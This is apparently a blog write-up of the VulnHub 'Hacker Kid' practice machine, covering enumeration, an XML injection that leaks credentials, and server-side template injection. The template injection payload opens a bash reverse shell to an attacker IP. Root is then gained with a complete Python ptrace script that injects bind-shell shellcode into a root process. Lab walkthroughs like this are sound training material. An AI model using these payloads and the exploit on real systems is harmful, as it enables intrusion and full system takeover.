medium.com

VulnHub — Hacker Kid Writeup 2024

Agustinus Koo

Press enter or click to view image in full size

Agustinus Koo

Hacker Kid is OSCP box style and focused on enumeration with easy exploitation. The goal is to get root. No guessing or heavy bruteforce is required and proper hints are given at each step to move ahead.

Link to the official website: https://www.vulnhub.com/entry/hacker-kid-101,719/

First, deploy the Hacker Kid machine into virtualbox and setting the network is in one network with attack machine (the machine we use to attack the Hacker Kid).

On Attack machine, run this command for get Hacker Kid IP Address.

sudo netdiscover -r 192.168.56.0/24

I run on 192.168.56.0 because my network on those IP. Check the network IP on Virtualbox Network or ifconfig.

Press enter or click to view image in full size

netdiscover result

The IP Address of Hacker Kid machine has found. Next, enumerate the machine with nmap.

Press enter or click to view image in full size

There port 80 is running. Let dig in any information could be have.

Press enter or click to view image in full size

In index file, found information about GET parameter page_no. Let’s brute it with Burpsuite Intruder.

Press enter or click to view image in full size

Payload position

Press enter or click to view image in full size

Found page_no=21 is valid endpoint. Let’s access it on browser.

Press enter or click to view image in full size

Found hackers.blackhat.local subdomain

On endpoint page_no=21, there was information about another domain name hackers.blackhat.local. Add that domain name into /etc/hosts. Don’t forget to save it.

Press enter or click to view image in full size

I assume there have another subdomain, so let enumerate with dig.

Press enter or click to view image in full size

I got hackerkid.blackhat.local. Save it into /etc/hosts file and we access to figure out what is that domain for.

Press enter or click to view image in full size

View of hackerkid.blackhat.local

On hackerkid.blackhat.local, it have a create account form. Let’s try register an account.

Press enter or click to view image in full size

Recognice the value of email is reflected. Also if we check the request, the website using XML format with version 1.0.

Because I know it reflected and using XML Format, let’s try XML Injection Attack. Inject this payload into the request body.

Press enter or click to view image in full size

Result of XML Injection

Let’s get /saket/.bashrc

Press enter or click to view image in full size

We got username:saket password:Saket!#$%@!!

Get Agustinus Koo’s stories in your inbox

Join Medium for free to get updates from this writer.

Those were the credentials for the python web application. But, it didn’t allow me access. But, when I used “saket” instead of “admin”, I was able to enter the app with the same password.

Press enter or click to view image in full size

Server Side Template Injection

In our initial nmap scan, we saw that the server at port 9999 is running Tornado which is a python web technology. Similarly, we see that the page is asking for a name. So, we can guess that there is a GET parameter “name” where we can pass the value. Let’s try that with {{7*7}}.

Press enter or click to view image in full size

As we can see, the command is executed and we got the result 49 for 7*7. This means that we can inject a payload that would give us a reverse shell. Fortunately, it’s using Tornado and we can use a very simple payload to get a reverse shell. However, we should open a netcat listener.

nc -nlvp 5555

The payload to execute is as follows.

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.19.100/9001 0>&1"')}}

Of course, we have to URL-encode this and it would look as follows.

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.19.100%2F9001%200%3E%261%22%27%29%7D%7D

Upon executing this payload, I got shell access.

Press enter or click to view image in full size

We got user shell as saket.

Root Privilege Escalation

The root privilege escalation is a fun part of this machine. Let’s check the capabilities of different binaries on the machine.

Press enter or click to view image in full size

It’s a piece of interesting information. This allows us the root shell. The following link describes it all.

Reference: https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

For this, we have to identify a root process.

ps -eaf | grep root

Press enter or click to view image in full size

Here, I am going to use the process id 931. There is an exploit code in the blog post that I have posted above. We have to keep this exploit on the target. Furthermore, it requires the PID of the process as an argument. After we execute the exploit, it creates a bind shell at port 5600. Thus, we can connect to the bind shell and get the root shell.

On the target machine, we download python script form attack machine. Below are the script:

import ctypes
import sys
import struct


PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17


class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")
pid = int(sys.argv[1])

libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers = user_regs_struct()

libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))


shellcode = (
"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f"
"\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58"
"\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97"
"\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62"
"\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
)

for i in range(0, len(shellcode), 4):

shellcode_byte_int = struct.unpack("<I", shellcode[i:i+4].ljust(4, '\x00'))[0]
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip + i), shellcode_byte_int)

print("Shellcode Injected!!")


registers.rip += 2


libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))


libc.ptrace(PTRACE_DETACH, pid, None, None)

Press enter or click to view image in full size

Press enter or click to view image in full size

Press enter or click to view image in full size